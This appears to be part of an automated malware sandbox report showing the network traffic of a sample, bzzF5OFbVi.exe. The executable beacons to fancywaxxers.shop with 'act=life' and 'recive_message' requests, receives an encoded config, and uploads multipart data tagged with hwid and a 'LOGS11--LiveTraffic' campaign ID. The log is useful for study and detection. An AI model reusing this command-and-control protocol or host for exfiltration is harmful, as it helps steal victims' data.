Dec 31, 2024 09:48:41.874277115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:48:41.874309063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sIsIsIWInIsIsOsIsIsIsIsIsIsIsIsIsIsIsIq[scq[s
Dec 31, 2024 09:48:41.874329090 CET	1236	IN	Data Raw: 4f 20 70 a1 97 fe 59 87 49 bf 6f 87 49 fe 73 87 49 fe 73 87 49 6c 72 87 49 6c 72 87 49 fd 73 87 49 ea 73 87 48 e0 71 af 68 fe 73 8d 63 bc 20 cd 0b ff 73 86 49 fe 73 87 49 f2 73 87 49 88 47 a9 79 d0 40 b7 7a cf 4a 87 49 fe 73 82 49 92 73 87 49 62 Data Ascii: O pYIoIsIsIlrIlrIsIsHqhsc sIsIsIGy@zJIsIsIb{IIzIxI ;:sIgIuI&IiIsI4sIiInqI1&sIsIsHN]qIzeIsIsIsIsIsIsIsIsIsIsIsIsIsIsIsIsIs
Dec 31, 2024 09:48:41.879170895 CET	1236	IN	Data Raw: 49 2f 79 fc 48 da 73 23 6b fe 73 87 49 6f 73 95 40 8c 72 a0 49 9a 57 87 49 fe 73 01 51 59 7a 81 49 d9 73 87 69 fe 73 87 49 fe 73 86 49 d1 76 87 49 fc 73 e8 43 fc 73 84 49 dd 76 87 49 ff 73 ba 4c fe 73 86 49 04 7b 87 49 ff 73 bc 4d fe 73 85 49 8d Data Ascii: I/yHs#ksIos@rIWIsQYzIsisIsIvIsCsIvIsLsI{IsMsI{IsLsIvIsCsIzIsLsIyisIsIrwIsCsIyisIsIrwIsUAsIDyisIsIrwIsYLsIuIsDAsIvIs@sIwIsCsIZvIsMsIIvIs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.64.1	443	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:27 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-31 08:48:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-31 08:48:27 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5sflin6o3n9n8i2oaesuq6enb6; expires=Sat, 26 Apr 2025 02:35:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oUT4KEhh7mQImi%2BXRP3AhpRvLg99xmF1gnL67QGYrYGdG9ZIj0smaXqxlnQFA3qF3FJXfynfynGhb%2FlCnAOjAO8QOzJiOEOtYWfHj%2BgDIivYboRbLp%2BYBBvFnfhL9vj1xFsLLw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa902b9f83dc358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=67064&min_rtt=8025&rtt_var=38678&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=363862&cwnd=155&unsent_bytes=0&cid=5b10b4a2654316f7&ts=403&x=0"
2024-12-31 08:48:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-31 08:48:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.64.1	443	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:27 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: fancywaxxers.shop
2024-12-31 08:48:27 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-31 08:48:28 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7biqe8ra62jn2clao5te06n235; expires=Sat, 26 Apr 2025 02:35:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FFmKQuFA%2FnSe9fUqpbKXIHHa4gXk2FGPyTJkgp2eXJGVCP5hFe%2FHx8KJnPAwOT2N6oUlezRLdPqBDJ7uKzniQ6gi6634Rm0Vy8DRbG%2FQCieuhd5w8zGW05rcEe01wIdg4HYHPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa902bf09cbc358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1636&rtt_var=617&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=954&delivery_rate=1767554&cwnd=155&unsent_bytes=0&cid=cc5f049aa57c1ee0&ts=460&x=0"
2024-12-31 08:48:28 UTC	240	IN	Data Raw: 34 39 39 34 0d 0a 6f 48 6e 79 4c 78 6f 78 72 47 6b 6e 79 36 38 4d 44 62 75 42 5a 4a 30 31 58 35 6b 4e 6f 43 53 50 41 6a 66 65 73 62 75 59 2f 31 6e 62 57 34 51 4e 49 41 57 41 53 31 53 75 6a 54 5a 35 79 66 51 42 73 52 63 2b 2f 53 2b 61 51 75 35 75 52 4c 75 64 6d 65 36 53 65 35 6f 66 6b 30 4e 70 56 49 42 4c 51 72 4f 4e 4e 6c 62 41 6f 77 48 7a 46 32 57 37 61 4d 70 47 37 6d 35 56 76 39 72 55 36 4a 4d 36 79 42 57 56 52 33 39 53 79 41 68 4c 70 73 70 70 61 4e 72 72 43 76 52 59 4e 2f 51 76 6a 41 62 71 65 42 58 6b 6b 2f 62 39 69 7a 6a 74 47 49 46 45 4f 45 79 41 45 67 57 75 77 53 34 33 6d 65 41 42 2f 31 6b 35 2f 57 62 49 54 4f 64 6d 56 4c 72 62 79 2f 47 5a 4d 63 67 62 6c 6b 5a 31 57 39 77 46 51 61 48 42 62 32 4c 61 6f 30 Data Ascii: 4994oHnyLxoxrGkny68MDbuBZJ01X5kNoCSPAjfesbuY/1nbW4QNIAWAS1SujTZ5yfQBsRc+/S+aQu5uRLudme6Se5ofk0NpVIBLQrONNlbAowHzF2W7aMpG7m5Vv9rU6JM6yBWVR39SyAhLpsppaNrrCvRYN/QvjAbqeBXkk/b9izjtGIFEOEyAEgWuwS43meAB/1k5/WbITOdmVLrby/GZMcgblkZ1W9wFQaHBb2Lao0
2024-12-31 08:48:28 UTC	1369	IN	Data Raw: 69 2f 55 43 57 37 4e 34 49 56 33 32 4e 45 72 63 62 55 36 70 74 37 33 56 57 4a 44 58 39 66 6a 6c 4d 46 6f 63 46 67 61 74 72 73 41 66 35 58 4c 2f 52 76 77 55 37 6c 5a 46 2b 7a 33 4e 62 30 6c 7a 7a 4b 45 70 64 43 66 31 76 49 42 45 62 70 67 79 35 6f 77 61 4e 65 76 33 63 74 2b 47 7a 57 53 2f 77 67 53 76 4c 4b 6d 66 32 52 65 35 70 62 6c 6b 4e 35 58 73 34 5a 54 61 4c 47 61 33 33 53 36 67 76 79 56 7a 44 78 59 4d 46 47 36 6d 70 66 73 39 6e 64 39 35 41 39 77 68 76 51 41 7a 68 55 31 6b 73 64 36 65 35 72 66 39 37 76 45 4c 31 74 66 65 51 68 32 77 62 71 62 42 58 6b 6b 39 48 2f 6e 6a 6a 4a 46 4a 4e 46 63 30 48 4f 47 55 4f 6b 79 48 78 70 33 4f 30 4d 2f 45 55 33 39 57 6e 42 54 2b 5a 70 55 4c 76 58 6d 62 54 64 50 4e 70 62 79 41 31 5a 58 73 55 48 54 37 37 4e 4c 6e 43 58 2b Data Ascii: i/UCW7N4IV32NErcbU6pt73VWJDX9fjlMFocFgatrsAf5XL/RvwU7lZF+z3Nb0lzzKEpdCf1vIBEbpgy5owaNev3ct+GzWS/wgSvLKmf2Re5pblkN5Xs4ZTaLGa33S6gvyVzDxYMFG6mpfs9nd95A9whvQAzhU1ksd6e5rf97vEL1tfeQh2wbqbBXkk9H/njjJFJNFc0HOGUOkyHxp3O0M/EU39WnBT+ZpULvXmbTdPNpbyA1ZXsUHT77NLnCX+
2024-12-31 08:48:28 UTC	1369	IN	Data Raw: 78 38 57 6e 4e 53 2b 45 67 47 2f 7a 55 77 62 72 46 65 2b 67 59 68 45 35 79 45 66 73 49 53 36 66 4b 65 43 2f 47 72 52 2b 2f 55 44 47 37 4e 34 4a 4c 37 47 68 54 72 74 7a 55 2b 5a 4d 31 7a 52 36 66 52 58 68 54 77 77 35 42 6f 73 5a 74 59 74 33 78 44 50 39 66 4f 50 70 6c 79 41 61 6a 49 46 4b 6b 6b 34 47 36 72 43 7a 4a 57 61 56 4f 64 6c 33 4a 48 51 57 32 67 33 63 76 33 75 39 47 70 78 63 77 38 32 72 48 53 65 78 71 57 37 6e 5a 31 66 4b 54 4f 4e 41 55 6c 45 31 30 57 38 51 47 53 36 33 46 5a 32 54 53 35 51 62 2b 58 58 32 31 4c 38 56 65 72 54 67 56 69 4e 54 56 39 35 4a 35 39 78 69 65 51 33 39 46 6a 68 51 4c 73 49 31 70 59 35 6d 37 52 76 4e 65 50 66 42 6c 78 6b 62 71 62 56 43 2f 31 4e 72 33 6d 6a 48 4d 48 4a 52 42 63 56 37 49 43 30 4b 74 79 48 78 71 30 4f 38 4b 76 78 Data Ascii: x8WnNS+EgG/zUwbrFe+gYhE5yEfsIS6fKeC/GrR+/UDG7N4JL7GhTrtzU+ZM1zR6fRXhTww5BosZtYt3xDP9fOPplyAajIFKkk4G6rCzJWaVOdl3JHQW2g3cv3u9Gpxcw82rHSexqW7nZ1fKTONAUlE10W8QGS63FZ2TS5Qb+XX21L8VerTgViNTV95J59xieQ39FjhQLsI1pY5m7RvNePfBlxkbqbVC/1Nr3mjHMHJRBcV7IC0KtyHxq0O8Kvx
2024-12-31 08:48:28 UTC	1369	IN	Data Raw: 33 51 6a 30 49 46 4b 77 6b 34 47 36 6c 44 4c 51 46 5a 35 45 64 56 58 47 44 45 75 6b 78 6d 68 6b 33 75 51 41 38 6c 38 77 2f 6d 7a 44 51 75 64 79 56 72 66 5a 31 50 44 64 64 59 49 63 69 41 30 67 45 2b 6b 48 62 4c 6e 57 66 48 6d 5a 2f 45 6a 6d 46 7a 72 33 4c 35 6f 47 37 6d 39 63 73 39 76 52 39 5a 49 2f 7a 42 32 57 51 48 31 63 78 42 6c 4e 70 38 42 6c 59 4e 4c 78 42 76 4a 54 4d 66 39 6e 79 55 79 74 4c 68 57 37 79 35 6d 69 33 51 37 50 46 4a 42 4f 62 68 50 52 52 56 7a 70 79 6d 49 76 67 61 4d 4b 38 56 63 79 39 32 50 4a 54 75 78 73 57 37 76 57 30 50 4b 56 4b 63 4d 66 6d 45 78 32 58 4d 38 50 51 4b 7a 4a 61 57 76 66 37 45 61 78 46 7a 72 6a 4c 35 6f 47 77 6b 64 67 2f 76 4c 6a 75 6f 4a 31 32 31 75 58 51 54 67 4c 6a 67 64 47 70 63 56 68 61 64 44 76 44 50 5a 63 4d 66 42 Data Ascii: 3Qj0IFKwk4G6lDLQFZ5EdVXGDEukxmhk3uQA8l8w/mzDQudyVrfZ1PDddYIciA0gE+kHbLnWfHmZ/EjmFzr3L5oG7m9cs9vR9ZI/zB2WQH1cxBlNp8BlYNLxBvJTMf9nyUytLhW7y5mi3Q7PFJBObhPRRVzpymIvgaMK8Vcy92PJTuxsW7vW0PKVKcMfmEx2XM8PQKzJaWvf7EaxFzrjL5oGwkdg/vLjuoJ121uXQTgLjgdGpcVhadDvDPZcMfB
2024-12-31 08:48:28 UTC	1369	IN	Data Raw: 57 56 61 76 64 4c 66 36 4a 6f 79 30 42 57 64 51 6e 42 62 78 77 70 42 72 4d 42 6f 59 39 50 69 41 66 46 5a 4e 62 73 68 67 6b 48 31 49 41 33 38 38 73 6e 68 6a 79 33 50 4f 70 31 43 4f 45 79 41 45 67 57 75 77 53 34 33 6d 65 6f 55 2b 31 6f 76 38 6d 6a 4d 53 65 35 79 56 4c 48 59 79 2f 32 53 50 38 55 58 6c 6b 4a 2b 55 73 73 42 53 61 37 49 5a 57 44 56 6f 30 69 2f 55 43 57 37 4e 34 4a 6f 35 6e 4e 43 76 39 33 53 37 49 5a 37 33 56 57 4a 44 58 39 66 6a 6c 4d 46 71 73 5a 6c 61 39 6e 76 42 76 74 61 50 65 6c 67 78 55 48 6b 61 30 65 32 31 4e 37 78 6c 54 44 4e 48 59 4a 42 64 6b 48 4c 47 56 66 70 67 79 35 6f 77 61 4e 65 76 32 45 36 36 33 2f 42 42 4e 78 32 56 71 72 59 31 50 62 64 4a 49 77 43 30 45 70 30 45 35 5a 4c 51 36 62 45 62 57 44 59 36 67 72 79 55 6a 54 2b 62 73 52 43 Data Ascii: WVavdLf6Joy0BWdQnBbxwpBrMBoY9PiAfFZNbshgkH1IA388snhjy3POp1COEyAEgWuwS43meoU+1ov8mjMSe5yVLHYy/2SP8UXlkJ+UssBSa7IZWDVo0i/UCW7N4Jo5nNCv93S7IZ73VWJDX9fjlMFqsZla9nvBvtaPelgxUHka0e21N7xlTDNHYJBdkHLGVfpgy5owaNev2E663/BBNx2VqrY1PbdJIwC0Ep0E5ZLQ6bEbWDY6gryUjT+bsRC
2024-12-31 08:48:28 UTC	1369	IN	Data Raw: 2f 49 6d 65 58 54 49 6f 49 63 6e 41 30 67 45 38 30 4d 52 71 6a 48 5a 32 50 57 35 41 4c 74 58 54 72 70 62 73 4e 4e 34 47 78 56 73 64 37 54 2b 35 51 32 7a 68 61 58 53 6e 64 57 6a 6b 55 46 72 74 55 75 4e 35 6e 43 43 2f 52 62 5a 71 45 76 33 51 6a 30 49 46 4b 77 6b 34 47 36 6e 54 48 48 45 5a 31 4f 64 31 44 63 43 6b 4f 37 7a 57 4e 6c 79 2b 6b 4e 2b 6c 6f 77 39 6d 7a 45 51 4f 5a 73 52 37 58 54 32 76 48 64 64 59 49 63 69 41 30 67 45 2b 30 63 55 36 50 4b 59 6e 6e 53 34 67 58 70 57 69 32 37 49 59 4a 58 36 6e 45 56 35 4d 58 4a 37 5a 6f 6b 6a 41 4c 51 53 6e 51 54 6c 6b 74 44 6f 4d 74 70 61 64 66 78 41 2f 6c 59 4d 76 4a 6d 78 6b 37 75 59 46 47 34 31 4e 7a 35 6b 54 44 46 47 4a 39 4a 63 56 33 48 42 41 58 6e 6a 57 6c 33 6d 62 74 47 33 6b 77 2b 39 32 4b 43 57 61 4e 35 46 Data Ascii: /ImeXTIoIcnA0gE80MRqjHZ2PW5ALtXTrpbsNN4GxVsd7T+5Q2zhaXSndWjkUFrtUuN5nCC/RbZqEv3Qj0IFKwk4G6nTHHEZ1Od1DcCkO7zWNly+kN+low9mzEQOZsR7XT2vHddYIciA0gE+0cU6PKYnnS4gXpWi27IYJX6nEV5MXJ7ZokjALQSnQTlktDoMtpadfxA/lYMvJmxk7uYFG41Nz5kTDFGJ9JcV3HBAXnjWl3mbtG3kw+92KCWaN5F
2024-12-31 08:48:28 UTC	1369	IN	Data Raw: 39 68 58 75 61 57 37 42 47 62 6c 62 4a 48 51 65 63 7a 6d 42 68 33 76 56 47 34 47 68 7a 75 32 44 59 42 72 56 5a 54 50 7a 55 31 62 72 46 65 39 63 63 6b 45 70 69 52 63 6b 48 56 4b 4c 41 59 6b 33 57 35 42 44 38 57 44 37 71 5a 6f 35 4e 34 43 41 62 2f 4e 54 42 75 73 56 37 37 52 79 47 54 6c 64 51 33 77 49 46 35 34 31 70 65 5a 6d 37 52 73 45 58 4c 2f 68 2f 77 55 6e 38 58 68 58 6b 79 75 65 36 6c 69 33 46 43 35 4e 62 63 31 37 43 47 6e 76 70 6c 54 6f 39 69 37 46 55 72 55 68 39 35 46 43 4d 42 75 77 67 44 59 58 4b 6d 65 7a 64 59 35 42 56 30 46 38 34 43 34 35 4d 52 72 76 66 61 47 7a 50 34 45 48 42 61 52 72 74 5a 63 56 57 36 6e 64 61 2f 4a 32 5a 39 64 31 6a 2b 31 75 5a 53 6d 4e 43 32 41 5a 56 72 6f 31 52 49 5a 6e 37 52 71 63 58 43 50 68 68 7a 45 48 37 63 52 69 62 78 64 Data Ascii: 9hXuaW7BGblbJHQeczmBh3vVG4Ghzu2DYBrVZTPzU1brFe9cckEpiRckHVKLAYk3W5BD8WD7qZo5N4CAb/NTBusV77RyGTldQ3wIF541peZm7RsEXL/h/wUn8XhXkyue6li3FC5Nbc17CGnvplTo9i7FUrUh95FCMBuwgDYXKmezdY5BV0F84C45MRrvfaGzP4EHBaRrtZcVW6nda/J2Z9d1j+1uZSmNC2AZVro1RIZn7RqcXCPhhzEH7cRibxd
2024-12-31 08:48:28 UTC	1369	IN	Data Raw: 7a 78 66 51 41 7a 68 47 78 51 64 44 70 4e 67 68 66 73 2f 67 45 50 67 62 4e 65 70 69 7a 67 62 53 4c 68 57 6b 6b 34 47 36 71 44 6a 4d 46 5a 64 62 61 52 37 75 41 45 6d 71 77 57 39 6f 6d 61 31 47 2b 52 64 6c 71 43 47 43 51 76 77 67 44 65 79 42 67 71 2f 4f 62 4a 4a 4a 6a 77 4e 68 45 39 68 4c 48 66 75 44 4c 6e 32 5a 75 30 61 34 56 43 2f 70 61 63 46 51 37 69 64 72 67 74 4c 55 39 64 45 31 79 52 75 58 58 57 35 49 67 67 4e 47 73 39 64 51 55 66 4c 76 41 50 68 4e 4f 76 31 4a 34 67 61 6a 49 46 72 38 69 2b 43 36 31 58 76 39 56 64 42 56 4f 41 75 4f 50 6b 61 6e 77 32 6c 35 79 4b 34 75 33 47 30 48 75 55 50 46 55 36 39 55 55 71 7a 43 30 76 65 52 65 34 78 62 6c 67 30 67 41 34 42 4c 51 62 69 4e 4e 6a 2b 4c 75 46 4f 73 41 47 32 70 63 49 78 66 72 58 59 56 35 49 47 58 75 6f 39 Data Ascii: zxfQAzhGxQdDpNghfs/gEPgbNepizgbSLhWkk4G6qDjMFZdbaR7uAEmqwW9oma1G+RdlqCGCQvwgDeyBgq/ObJJJjwNhE9hLHfuDLn2Zu0a4VC/pacFQ7idrgtLU9dE1yRuXXW5IggNGs9dQUfLvAPhNOv1J4gajIFr8i+C61Xv9VdBVOAuOPkanw2l5yK4u3G0HuUPFU69UUqzC0veRe4xblg0gA4BLQbiNNj+LuFOsAG2pcIxfrXYV5IGXuo9
2024-12-31 08:48:28 UTC	1369	IN	Data Raw: 67 30 67 41 49 42 4c 56 2b 6d 56 4c 69 6a 58 37 67 66 38 57 54 37 70 66 63 52 46 2b 32 4d 53 67 75 33 38 39 35 41 2b 7a 42 79 75 63 31 6c 5a 33 67 5a 4b 72 6f 39 4f 61 4d 2f 67 4f 4d 46 67 4c 50 78 2f 67 47 44 75 64 6c 62 38 6e 5a 6e 69 33 57 4f 43 4f 70 70 64 64 56 7a 4a 53 57 57 75 32 32 30 76 6c 36 4d 43 76 77 39 39 33 6d 4c 50 51 2b 4e 6e 46 35 33 5a 79 66 65 53 50 49 41 37 6c 31 74 37 45 34 42 4c 53 65 6d 56 4c 6d 37 54 38 77 76 77 55 48 48 38 64 63 55 47 6f 79 42 62 2f 49 75 5a 2b 35 63 72 7a 78 53 58 41 58 35 64 77 45 74 61 35 39 51 75 65 5a 6d 37 56 62 45 58 4c 37 73 33 67 67 48 75 63 6b 65 36 30 4d 2f 35 32 67 58 38 4e 6f 4a 4b 61 46 43 4d 4f 6b 69 74 32 33 74 73 79 65 51 34 77 58 6f 76 2f 48 2f 42 42 4e 78 32 56 72 7a 64 33 72 72 54 65 39 70 62 Data Ascii: g0gAIBLV+mVLijX7gf8WT7pfcRF+2MSgu3895A+zByuc1lZ3gZKro9OaM/gOMFgLPx/gGDudlb8nZni3WOCOppddVzJSWWu220vl6MCvw993mLPQ+NnF53ZyfeSPIA7l1t7E4BLSemVLm7T8wvwUHH8dcUGoyBb/IuZ+5crzxSXAX5dwEta59QueZm7VbEXL7s3ggHucke60M/52gX8NoJKaFCMOkit23tsyeQ4wXov/H/BBNx2Vrzd3rrTe9pb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.64.1	443	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:29 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VZZU4FS6ETL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12799 Host: fancywaxxers.shop
2024-12-31 08:48:29 UTC	12799	OUT	Data Raw: 2d 2d 56 5a 5a 55 34 46 53 36 45 54 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 34 35 46 42 33 31 30 36 36 36 39 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 56 5a 5a 55 34 46 53 36 45 54 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 5a 5a 55 34 46 53 36 45 54 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 56 5a 5a 55 34 46 53 36 45 54 4c Data Ascii: --VZZU4FS6ETLContent-Disposition: form-data; name="hwid"30F45FB31066695C20A4C476FD51BCB1--VZZU4FS6ETLContent-Disposition: form-data; name="pid"2--VZZU4FS6ETLContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--VZZU4FS6ETL
2024-12-31 08:48:32 UTC	1141	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=99uj53eoc7b0bm375ei26a4kmr; expires=Sat, 26 Apr 2025 02:35:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Q%2FUjz3S5d3dMPLiS%2BNvoYHKm5EfR0WntPsBOudpAhrW%2Bdo0k5FxuDCLTcJQbXdtf8Nq21vQO71B5uUF%2FnKpGX4wRygdFRToGFWvLkkrJoN0s3Ur%2FvewIlpr%2FcU50gpKatfy%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa902c6ffe242e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&min_rtt=1775&rtt_var=669&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13733&delivery_rate=1630374&cwnd=240&unsent_bytes=0&cid=42b373b40d34f986&ts=2937&x=0"
2024-12-31 08:48:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:48:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.64.1	443	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:48:32 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MSXI43XCV17X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15047 Host: fancywaxxers.shop
2024-12-31 08:48:32 UTC	15047	OUT	Data Raw: 2d 2d 4d 53 58 49 34 33 58 43 56 31 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 30 46 34 35 46 42 33 31 30 36 36 36 39 35 43 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 4d 53 58 49 34 33 58 43 56 31 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 53 58 49 34 33 58 43 56 31 37 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 53 58 49 34 33 58 43 Data Ascii: --MSXI43XCV17XContent-Disposition: form-data; name="hwid"30F45FB31066695C20A4C476FD51BCB1--MSXI43XCV17XContent-Disposition: form-data; name="pid"2--MSXI43XCV17XContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MSXI43XC
2024-12-31 08:48:33 UTC	1137	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:48:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=efgckn9mk5d0vjb5f07mfv6stk; expires=Sat, 26 Apr 2025 02:35:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CB7bK6FK%2BuJNzvV9oTcMB3EARC7RAQQXGqu319MqnRq6jFHUxAw82oPJ%2B8UHNHn0P7TVC%2B8eWD15k2z7%2BfF4%2B62Aq46IcjkFGYlPKzzhf7CjeLrTFBl5wCbc518LOkJieweG5Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa902dcee0742e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1740&min_rtt=1740&rtt_var=654&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15982&delivery_rate=1671436&cwnd=240&unsent_bytes=0&cid=98f55c915e117b54&ts=654&x=0"
